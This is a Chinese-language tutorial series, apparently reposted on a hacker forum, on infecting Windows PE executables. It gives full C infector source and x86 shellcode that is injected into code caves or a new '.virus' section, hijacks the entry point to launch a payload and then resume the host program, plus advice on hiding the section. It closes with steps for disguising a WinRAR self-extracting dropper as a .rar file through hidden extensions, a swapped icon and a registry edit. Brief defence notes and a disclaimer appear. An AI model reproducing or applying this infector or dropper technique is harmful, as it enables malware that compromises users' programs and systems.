为了讨论的简单起见,我这里依旧使用在*篇文章中所编写的ShellCode。和*篇文章中所讨论的方法不同的是,上次是将ShellCode写入了密码文件,密码验证程序读取密码文件后,产生溢出,执行了ShellCode,然后再执行“病毒”程序。而这次是省去了中间环节,直接将ShellCode写入正常的程序中,运行程序就直接运行了“病毒”,这样就更加隐蔽,更容易被触发。提取出之前的ShellCode,并进行一定的修改,定义如下:

[cpp] view plaincopyprint?
char shellcode[] =
“\x33\xdb“ //xor ebx,ebx
“\x53“ //push ebx
“\x68\x2e\x65\x78\x65“ //push 0x6578652e
“\x68\x48\x61\x63\x6b“ //push 0x6b636148
“\x8b\xc4“ //mov eax,esp
“\x53“ //push ebx
“\x50“ //push eax
“\xb8\x31\x32\x86\x7c“ //mov eax,0x7c863231
“\xff\xd0“ //* eax
“\xb8\x90\x90\x90\x90“ //mov eax,OEP
“\xff\xe0\x90“; //jmp eax
这里需要说明的是,由于我们接下来要将程序的入口点修改为ShellCode的入口点,在ShellCode执行完后,又需要跳回原程序的入口点,因此在原始ShellCode的后面添加上了mov和jmp eax的指令。mov后面留有四个字节的空间,用于原始程序OEP的写入,*步就是跳到原始程序去执行。由于原始ShellCode中包含有退出代码,所以也需要将调用ExitProcess的ShellCode代码去掉。
搜索程序中缝隙的代码如下:
[cpp] view plaincopyprint?
DWORD SearchSpace(LPVOID lpBase,PIMAGE_NT_HEADERS pNtHeader)
{
PIMAGE_SECTION_HEADER pSec = (PIMAGE_SECTION_HEADER)(((BYTE *)&(pNtHeader->*alHeader) + pNtHeader->FileHeader.SizeOf*alHeader));

DWORD dwAddr = pSec->PointerToRawData+pSec->SizeOfRawData - sizeof(shellcode);
dwAddr=(DWORD)(BYTE *)lpBase + dwAddr;

//在内存中分配shellcode大小的空间,并以0进行填充
LPVOID lp = malloc(sizeof(shellcode));
memset(lp,0,sizeof(shellcode));

while(dwAddr > pSec->Misc.VirtualSize)
{
//查找长度与shellcode相同,且内容为00的空间
int nRet = memcmp((LPVOID)dwAddr,lp,sizeof(shellcode));
//如果存在这样的空间,那么memcmp的值为0,返回dwAddr
if(nRet == 0)
{
return dwAddr;
}
//自减,不断反向查找
dwAddr--;
}

free(lp);
return 0;
}
上述代码是在代码的节区与紧挨着代码节区之后的节区的中间的位置进行搜索,从代码节区的末尾开始反向搜索。



三、将ShellCode植入目标程序

这里我们需要编写一个main函数来调用上面的函数,代码如下:

[cpp] view plaincopyprint?
#include <windows.h>
#define FILENAME “helloworld.exe“ //欲“感染”的文件名

int main()
{
HANDLE hFile = NULL;
HANDLE hMap = NULL;
LPVOID lpBase = NULL;

hFile = *File(FILENAME,
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL);
hMap = *FileMapping(hFile,NULL,PAGE_READWRITE,0,0,0);
lpBase = MapViewOfFile(hMap,FILE_MAP_READ|FILE_MAP_WRITE,0,0,0);

PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)lpBase;
PIMAGE_NT_HEADERS pNtHeader = NULL;

//PE文件验证,判断e_magic是否为MZ
if(pDosHeader->e_magic != IMAGE_DOS_SIGNATURE)
{
UnmapViewOfFile(lpBase);
CloseHandle(hMap);
CloseHandle(hFile);
return 0;
}
//根据e_lfanew来找到Signature标志位
pNtHeader = (PIMAGE_NT_HEADERS)((BYTE *)lpBase + pDosHeader->e_lfanew);
//PE文件验证,判断Signature是否为PE
if(pNtHeader->Signature != IMAGE_NT_SIGNATURE)
{
UnmapViewOfFile(lpBase);
CloseHandle(hMap);
CloseHandle(hFile);
return 0;
}

//搜索PE文件中的缝隙
DWORD dwAddr = SearchSpace(lpBase,pNtHeader);

//寻找原程序入口地址,并拷贝到ShellCode中的相应位置(25至28字节处)
DWORD dwOep = pNtHeader->*alHeader.ImageBase + pNtHeader->*alHeader.AddressOfEntryPoint;
*(DWORD *)&shellcode[25] = dwOep;

//将ShellCode拷贝到上面所找到的缝隙
memcpy((char *)dwAddr,shellcode,strlen(shellcode)+3);

dwAddr = dwAddr - (DWORD)(BYTE *)lpBase;

//将ShellCode的入口地址拷贝给原程序
pNtHeader->*alHeader.AddressOfEntryPoint = dwAddr;

UnmapViewOfFile(lpBase);
CloseHandle(hMap);
CloseHandle(hFile);

return 0;
}
由于我需要把ShellCode植入可执行文件,只有可执行文件才能启动ShellCode,因此有必要提前对目标文件进行格式检测。而检测的方法,一般就是检测MZ与PE标志位是否存在。这里有一件事需要说明,就是在将ShellCode拷贝到缝隙中的那条语句中,使用了memcpy函数,它的第三个参数是strlen(shellcode)+3,这里之所以加上3,是因为strlen这个函数当遇到字符串中出现的\x00时,就会认为字符串已经结束,那么它的字符长度的计数就会停在\x00处。而一个程序的OEP往往是0x004XXXXX,小端显示,它的存储方式就是XXXXX400,在我的ShellCode中,由于00后面还剩下三个字节(\xff\xe0\x90),但是被00所截断了,导致这最后的三个字节不被strlen认可,因此需要再加上3。
四、程序的“感染”

为了测试我们的“感染”程序,在此我再编写一个HelloWorld程序,代码如下:

[cpp] view plaincopyprint?
#include <stdio.h>
int main()
{
printf(“Hello world!\n”);
getchar();
return 0;
}
将上述代码编译链接后生成的helloworld.exe程序放到和“感染”程序同一目录下,执行“感染”程序,然后用十六进制编辑软件打开helloworld.exe,可以发现我们的代码已经植入,用Hex Editor查看植入代码
再用OllyDbg查看植入代码
使用OD载入程序,就直接来到了我们所植入的ShellCode的地址,可见程序的原始OEP已经被修改了。而在ShellCode的最后,又会跳到程序的原始入口点,继续执行原始程序。利用PEiD也能明显地看到“感染”前后的不同。比较前后的不同, 此时我们就可以确定,helloworld.exe已经被“感染”了,为了验证“被感染”程序是否能够启动我们的对话框程序,需要将Hack.exe(注意这里改了名字)放到与helloworld.exe的同一目录下,然后执行helloworld.exe。
用于模拟病毒的提示对话框以及helloworld.exe自身的程序都得到了运行,这也说明了“感染”是成功的。

这里是直接将程序的入口点修改为我们的ShellCode的入口地址,其实这是不利于“病毒”的隐藏的,为了起到迷惑的作用,可以将ShellCode程序植入到helloworld的代码中,甚至将ShellCode拆分为几个部分再植入,这样就很难被发现了,这里就不再详细讨论。



五、防范方法的讨论

由于恶意程序的这种“感染”方法是在程序的缝隙将自身代码植入,因此它是不会对原始程序的大小产生任何改变的,当然也是由于我所举的这个例子比较简单,ShellCode也比较短的缘故。这或多或少也实现了病毒的隐藏,不过防范的方法还是有的。一般来说,软件公司都会对自己的软件产品进行校验,比如运用MD5、Sha-1或者CRC32等。校验的结果是唯一的,也就是说,即便原始程序改动很小(如这次仅仅修改了32个字节的内容),那么校验的结果也会很不相同。很多安全类软件都能够提供校验的功能,而校验也总被运用在手工查杀病毒中,因为黑客往往会对系统中的svchost.exe或者一些DLL文件做手脚,而这样的一些重要文件,官方都会给出真正的校验值,那么对比一下就能够很容易发现这些文件是否被篡改过了。回到上面的helloworld.exe,在“感染”前后,用火眼进行校验检测。
这里的建议是多采用几种校验方式进行校验,因为像MD5这种校验方式有可能会被做手脚,使得“感染”前后的结果可能是一样的,而目前的技术还无法使在修改了原始文件的前提下,所有校验方式的校验结果不变。所以善于利用校验的方式,可以使自己的计算机免受很多的威胁。

针对于这种攻击方式,我这次并不打算写出专杀工具,毕竟依靠之前的专杀工具就足够了。而对于文件被“感染”,去除感染是一件比较麻烦的事情,在这里先不进行讨论。以后的文章中可能会专门论述这个问题。



六、小结

这次简单讨论了一下利用PE结构中的缝隙实现ShellCode的植入。在我看来,PE知识是许多高级技术的基础,是必须要掌握的。以后的文章,会从更多的角度来讲解利用PE格式实现“病毒”的攻击与防范。再次强调的是,我在这里讨论的目的是为了让大家了解更多的计算机安全的知识,而不应将这些运用于歪门邪道。我所讲的这些方法,是无法通过杀软的检验的,即便是这次被感染的程序,“火眼”依旧将其列为重点怀疑对象。所以不应为了一时之快,而做出让自己后悔的举动。

一、前言

*篇文章所讨论的利用缝隙实现代码的植入有一个很大的问题,就是我们想要植入的代码的长度不能够比缝隙大,否则需要把自身的代码截成几个部分,再分别插入不同的缝隙中。而这次所讨论的方法是增加一个节区,这个节区完全可以达到私人订制的效果,其大小完全由我们自己来决定,这样的话,即便是代码较长,也不用担心。而这种方式最大的缺陷就是不利于恶意代码自身的隐藏,因此在现实中可能并不常用。其实,我在这里讨论节区的添加,是为了以后更加深入的讨论打下基础,因为在加壳以及免杀技术中,经常会对PE文件添加节区。这篇文章首先会讨论如何手工添加节区,之后会讨论编程实现节区的添加。



二、手工添加节区

就我个人而言,只要不是过于繁琐,我都比较倾向于直接利用十六进制代码编辑软件来修改目标程序。因为当理解了各种文件的格式之后,纯手工对代码进行编辑会更加灵活,也更加方便。只要ShellCode不太长,那么手工添加节区来植入代码,其实还是比较容易的。一般来说,添加节区由以下四个步骤组成:

1、在节表后面添加一个IMAGE_SECTION_HEADER,用于保存所添加的节的基本信息。

2、更新IMAGE_FILE_HEADER中的NumberOfSections字段,添加了几个节区就增加多少。

3、更新IMAGE_*AL_HEADER中的SizeOfImage字段,这里需要加上所添加节区的大小。如果添加代码,还需修改SizeOfCode的大小以及程序入口点。

4、添加节区的数据。

这里先用PEiD看一下*篇文章中所编写的helloworld.exe的节区情况(这里所讨论的是Release版,如果是Debug版,会有所不同)用PEiD查看节区,可以看到helloworld.exe包含有几个节区,再来看一下IMAGE_SECTION_HEADER的定义:
[cpp] view plaincopyprint?
typedef struct _IMAGE_SECTION_HEADER {
BYTE Name[IMAGE_SIZEOF_SHORT_NAME]; //8个字节的节区名称
union { //节区尺寸
DWORD PhysicalAddress;
DWORD VirtualSize;
} Misc;
DWORD VirtualAddress; //节区的RVA地址
DWORD SizeOfRawData; //在文件中对齐后的尺寸
DWORD PointerToRawData; //在文件中的偏移
DWORD PointerToRelocations; //在OBJ文件中使用,重定位的偏移
DWORD PointerToLinenumbers; //行号表的偏移(供调试用)
WORD NumberOfRelocations; //在OBJ文件中使用,重定位项数目
WORD NumberofLinenumbers; //行号表中行号的数目
DWORD Characteristics; //节区的属性
} IMAGE_SECTION_HEADER, *PIMAGE_SECTION_HEADER;
该结构体的成员很多,但是真正需要使用的只有在PEiD中显示的那6个,即Name、VirtualSize、VirtualAddress、SizeofRawData、PointerToRawData与Characteristics。结合Hex Editor Neo观察,这里再解释一下在PEiD中所显示的那六个成员的意义:

1、Name:节区名称。这是一个8位*码名(不是*内码),用来定义节区名称。一般来说,节区名称以一个“.”开始(如.text),但是其实这个“.”并不是必需的。需要说明的是,如果节区的名称超过8个字节,则没有最后的终止标志“NULL”字节。带有一个“$”的节区名字会从链接器那里得到特殊的对待,前面带有“$”的相同名字的节区被合并,在合并后的节区中,它们是按“$”后面的字符字母顺序进行合并的。

对于helloworld.exe这个程序来说,为了实现所添加节区的隐藏,可以将新添加的节区名称伪装成正常的节区名称,比如.crt、.bss、.edata或者.sdata等等。或者把原来正常的节区名称改掉,如将原来的.text改为.jy(我名字的缩写),而将所添加的节区名称命名为.text,一般来说,系统不会因为节区改了名字而出错。这里为了方便起见,将新节区的名字设定为.virus。

2、VirtualSize(V.Size):指出实际的、被使用的节区大小,是节区在没进行对齐处理前的实际大小。如果VirtualSize大于SizeOfRawData,那么SizeOfRawData是来自可执行文件初始化数据的大小,与VirtualSize相差的字节用零填充。这个字段在OBJ文件中是被设定为0的。

这里我将节的大小直接设定为对齐后的大小。由于文件对齐是0x1000字节,那么就采用最小值即可,直接设定为0x1000。由于计算机是小端显示,且占据4个字节,因此应当写为“00 10 00 00”,这种小端的书写方式在之后的数据填写中也会采用。

3、VirtualAddress(V.Offset):表示节区装载到内存中的RVA。这个地址是按照内存页对齐的,它的值总是SectionAlignment的整数倍。在Microsoft工具中,第一个块的默认RVA为1000h。在OBJ中,该字段没有意义,并被设为0。

VirtualAddress的值是*个节区的起始位置加上*个节对齐后的长度的值,在PEiD中可见,*个节区的起始位置是0x7000,上个节区对齐后的长度是0x4000,因此新节区的起始位置是0xB000。

4、SizeOfRawData(R.Size):该节区在磁盘文件中所占的大小。在可执行文件中,该字段包含经过FileAlignment调整后的块的长度。例如,指定FileAlignment的大小为200h,如果VirtualSize中的块的长度为19Ah个字节,这一块应保持的长度为200h个字节。

这里只要填写一个最小值0x1000就可以。

5、PointerToRawData(R.Offset):该节区在磁盘文件中的偏移。程序经编译或汇编后生成原始数据,这个字段用于给出原始数据在文件中的偏移。如果程序自装载PE或COFF文件(而不是由操作系统装入),这一字段比VirtualAddress还重要。在这种状态下,必须完全使用线性映像方法装入文件,所以需要在该偏移处找到块的数据,而不是VirtualAddress字段中的RVA地址。

由于*个节区的位移为0x7000,大小为0x3000,所以这里的R.Offset应该为0xA000。

6、Characteristics(Flags):节区属性。该字段是一组指出节区属性(如代码/数据/可读/可写)的标志。具体的属性可以查表获得。

这里可以直接参考.text的属性,即“20 0000 60”(包含代码,可读可执行)。

那么依据上述分析,在紧接着*个节区位置的0x240处开始,直接手工填写,,接下来需要修改这个PE文件的节区数量,之前该文件有3个节区,这里需要修改成4个。找到IMAGE_FILE_HEADER中的NumberOfSections字段进行修改, 接下来需要修改文件映像的大小,也就是SizeOfImage的值。因为这里我新添加了一个节区,那么就应该把新的节区的大小加上原始SizeOfImage的值,就是新的文件映像的大小。这里原始的SizeOfImage大小为0xB000,新节区的大小为0x1000,那么新的SizeOfImage的大小就是0xC000。 由于我在文件中添加了新的代码段,所以这里还需要修改SizeOfCode的大小,出现多个代码节,就应该把这个字段修改为它们的总和。我添加了0x1000字节的内容,那么就应将这个数据段修改成0x6000。 至此,修改PE结构字段的内容都已经做完了,现在开始需要添加真实的数据,根据上述分析,文件的起始位置为0xA000,长度为0x1000。填入ShellCode,并在其后填入00,将0x1000长度的空间补满(不补满的话,系统会报错,补多了的话,会显示有附加数据)。 这里的返回地址(0x00401203)与*篇文章中的不同,需要注意。最后一步就是将程序的入口点修改为ShellCode的入口点,即将AddressOfEntryPoint修改为0xB000(RVA)。至此,所有修改完成,再次使用PEiD查看。
三、编程添加节区

与*篇文章中的在缝隙中添加代码的方法类似,通过编程添加一个节区其实就是对文件的一系列操作,并且依然需要对PE文件的合法性进行检验。通过编程的方法添加节区和手动方法在步骤上是一样的,只不过是将上面的手动步骤以通过调用API函数的方式进行编程而已。完整代码如下:

[cpp] view plaincopyprint?
#include <windows.h>
#define FILENAME “helloworld.exe“ //欲“感染”的文件名

char szSecName[] = “.virus“; //所添加的节区名称
int nSecSize = 4096; //所添加的节区大小(字节)

char shellcode[] =
“\x33\xdb“ //xor ebx,ebx
“\x53“ //push ebx
“\x68\x2e\x65\x78\x65“ //push 0x6578652e
“\x68\x48\x61\x63\x6b“ //push 0x6b636148
“\x8b\xc4“ //mov eax,esp
“\x53“ //push ebx
“\x50“ //push eax
“\xb8\x31\x32\x86\x7c“ //mov eax,0x7c863231
“\xff\xd0“ //* eax
“\xb8\x90\x90\x90\x90“ //mov eax,OEP
“\xff\xe0\x90“; //jmp eax

HANDLE hFile = NULL;
HANDLE hMap = NULL;
LPVOID lpBase = NULL;

DWORD AlignSize(int nSecSize, DWORD Alignment)
{
int nSize = nSecSize;
if (nSize % Alignment != 0 )
{
nSecSize = (nSize / Alignment + 1) * Alignment;
}

return nSecSize;
}

void AddSectionData(int nSecSize)
{
PBYTE pByte = NULL;
//申请用来添加数据的空间,这里需要减去ShellCode本身所占的空间
pByte = (PBYTE)malloc(nSecSize-(strlen(shellcode)+3));
ZeroMemory(pByte, nSecSize-(strlen(shellcode)+3));

DWORD dwNum = 0;
//令文件指针指向文件末尾,以准备添加数据
SetFilePointer(hFile, 0, 0, FILE_END);
//在文件的末尾写入ShellCode
WriteFile(hFile, shellcode, strlen(shellcode)+3, &dwNum, NULL);
//在ShellCode的末尾用00补充满
WriteFile(hFile, pByte, nSecSize-(strlen(shellcode)+3), &dwNum, NULL);
FlushFileBuffers(hFile);

free(pByte);
}

int main()
{
hFile = *File(FILENAME,
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL);
hMap = *FileMapping(hFile,NULL,PAGE_READWRITE,0,0,0);
lpBase = MapViewOfFile(hMap,FILE_MAP_READ|FILE_MAP_WRITE,0,0,0);

PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)lpBase;
PIMAGE_NT_HEADERS pNtHeader = NULL;

//PE文件验证,判断e_magic是否为MZ
if(pDosHeader->e_magic != IMAGE_DOS_SIGNATURE)
{
UnmapViewOfFile(lpBase);
CloseHandle(hMap);
CloseHandle(hFile);
return 0;
}
//根据e_lfanew来找到Signature标志位
pNtHeader = (PIMAGE_NT_HEADERS)((BYTE *)lpBase + pDosHeader->e_lfanew);
//PE文件验证,判断Signature是否为PE
if(pNtHeader->Signature != IMAGE_NT_SIGNATURE)
{
UnmapViewOfFile(lpBase);
CloseHandle(hMap);
CloseHandle(hFile);
return 0;
}

int nSecNum = pNtHeader->FileHeader.NumberOfSections;
DWORD dwFileAlignment = pNtHeader->*alHeader.FileAlignment;
DWORD dwSecAlignment = pNtHeader->*alHeader.SectionAlignment;

PIMAGE_SECTION_HEADER pSecHeader = (PIMAGE_SECTION_HEADER)((DWORD)
&(pNtHeader->*alHeader)+pNtHeader->
FileHeader.SizeOf*alHeader);

PIMAGE_SECTION_HEADER pTmpSec = pSecHeader + nSecNum;

//拷贝节区名称
strncpy((char *)pTmpSec->Name, szSecName, 7);
//节的内存大小
pTmpSec->Misc.VirtualSize = AlignSize(nSecSize, dwSecAlignment);
//节的内存起始位置
pTmpSec->VirtualAddress = pSecHeader[nSecNum - 1].VirtualAddress +
AlignSize(pSecHeader[nSecNum - 1].Misc.VirtualSize, dwSecAlignment);
//节的文件大小
pTmpSec->SizeOfRawData = AlignSize(nSecSize, dwFileAlignment);
//节的文件起始位置
pTmpSec->PointerToRawData = pSecHeader[nSecNum - 1].PointerToRawData +
AlignSize(pSecHeader[nSecNum - 1].SizeOfRawData, dwSecAlignment);
//节的属性(包含代码,可执行,可读)
pTmpSec->Characteristics = IMAGE_SCN_CNT_CODE | IMAGE_SCN_MEM_*UTE | IMAGE_SCN_MEM_READ ;

//修正节的数量,自增1
pNtHeader->FileHeader.NumberOfSections ++;
//修正映像大小
pNtHeader->*alHeader.SizeOfImage += pTmpSec->Misc.VirtualSize;

//将程序的入口地址写入ShellCode
DWORD dwOep = pNtHeader->*alHeader.ImageBase+pNtHeader->*alHeader.AddressOfEntryPoint;
*(DWORD *)&shellcode[25] = dwOep;

//添加节区数据
AddSectionData(pTmpSec->SizeOfRawData);

//修正代码长度(只在添加代码时才需修改此项)
pNtHeader->*alHeader.SizeOfCode += pTmpSec->SizeOfRawData;
//修正程序的入口地址(只在添加代码并想让ShellCode提前执行时才需修改此项)
pNtHeader->*alHeader.AddressOfEntryPoint = pTmpSec->VirtualAddress;

FlushViewOfFile(lpBase, 0);

UnmapViewOfFile(lpBase);
CloseHandle(hMap);
CloseHandle(hFile);

return 0;
}
以上代码比较简单,就是基本的文件操作,已给出了相关的注释,这里不再论述。



四、防范方法

在我看来,感染类病毒并不容易清除,因为它会把自身代码植入到正常PE文件中,尽管中毒后可以运用杀毒工具针对其对计算机造成的损害进行清除,但是难以删除隐藏在正常程序中的恶意代码。虽然我们可以不再运行含有恶意程序的软件,但是只要运行过一次,那么它就有可能将计算机中的所有PE文件感染,这样即便我们使用杀毒工具清除了病毒所产生的不良行为,但是一旦运行别的程序,依旧会再次中病毒。而且就算有方法将藏身于PE文件中的病毒代码彻底清除,也有可能破坏程序主体,使该程序不能够正常运行。因此,最好的方法就是从源头上杜绝这种情况的出现,不要下载和运行来历不明的程序,并且安装杀毒软件。也就是说,一定要培养出良好的计算机安全意识。



五、小结

这次我们讨论了手工以及编程添加节区的方法,其实它的原理非常简单,只是比较繁琐而已。通过这篇文章的讨论,也为以后的免杀技术的讨论打下了基础。
一、前言

由之前的一系列研究可以发现,为了使得“病毒”能够实现自启动,我也是煞费苦心,采取了各种方式,往往需要编写冗长的代码并且还需要掌握系统底层或注册表的很多知识才可以。而这次我打算讨论两种简单的方式,抛开代码,利用WinRAR与AutoRun.inf实现程序的自启动。采用这两种方式,在用户安全意识不高的情况是可以生效的。当然,我在这里讨论这些,最为重要的还是希望大家树立起相关的安全防范意识。



二、利用WinRAR实现程序的自启动

WinRAR可以说是我们最常用的解压缩软件了。在文件很多的情况下,利用它可以对文件进行打包,或者当文件的体积比较大的时候,利用它也可以对目标程序进行压缩,都能够实现方便携带的效果。但是很多人不知道的是,利用WinRAR,可以实现在解压后直接启动被解压的程序,那么利用这一点,就可以将我之前编写的Hacked.exe实现自启动。首先要在计算机上安装WinRAR(我的是5.10.0.0版),然后右键单击欲压缩的软件,选择“添加到压缩文件”,
接下来需要在“压缩选项”中选择“创建自解压格式压缩文件”,然后可以为新文件取个名字, 选择“高级”选项卡,进入“自解压选项”
在“常规”选项卡中,填写解压路径,可以填写一个比较隐秘的路径,我这里为方便起见,将其解压到桌面, 最后在“设置”选项卡的“提取后运行”中,填写解压完以后想要运行的程序名称, 至此所有的设置完成,可以点击“确定”生成自解压程序。这样,当用户双击这个文件后,就能够实现自解压并直接运行Hacked.exe程序。但是这里有一个问题,就是生成的这个自解压程序其实是.exe文件,而且它的图标和正常的.rar文件是不一样的,后缀和图标,十分不利于程序的隐藏。不过这两个问题不难解决。在窗口菜单栏的“工具”中,有一个“文件夹选项”,在“查看”标签下,有一个“隐藏已知文件类型的扩展名”选项, 如果该项打钩,说明文件的扩展名在系统中是不显示的,当然也可以在注册表中进行设定,找到HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\HideFileExt中的UnCheckedValue项,将它的值设为1,那么无论在“文件夹选项”中如何更改,文件扩展名都是无法显示的。这里先假定系统中文件的扩展名是不显示的。那么我们就在原始文件名的基础上,在其后面加上.rar,将其伪装成是rar文件。

之后就是修改文件图标,exe文件的图标还是比较容易修改的,我使用的是Resource Hacker (3.6.0.92版),可以轻松实现更改图标的功能,将我们的文件修改为和正常rar文件一样的图标,具体方法不再讨论。那么我们的伪装工作就完成了(这里我没找到rar图标,用别的图标代替).
至此,所有的工作完成,经过伪装后的自解压文件往往是难以发现异常的,所以更需我们练就一双火眼金睛。

. 绝客网永久域名请您牢记:jkniu.com、jkmrp.com

发表回复

   


  通知楼主

椅子

图 【福利社】无伤.02-16 12:38
好的,顶下

回复只看TA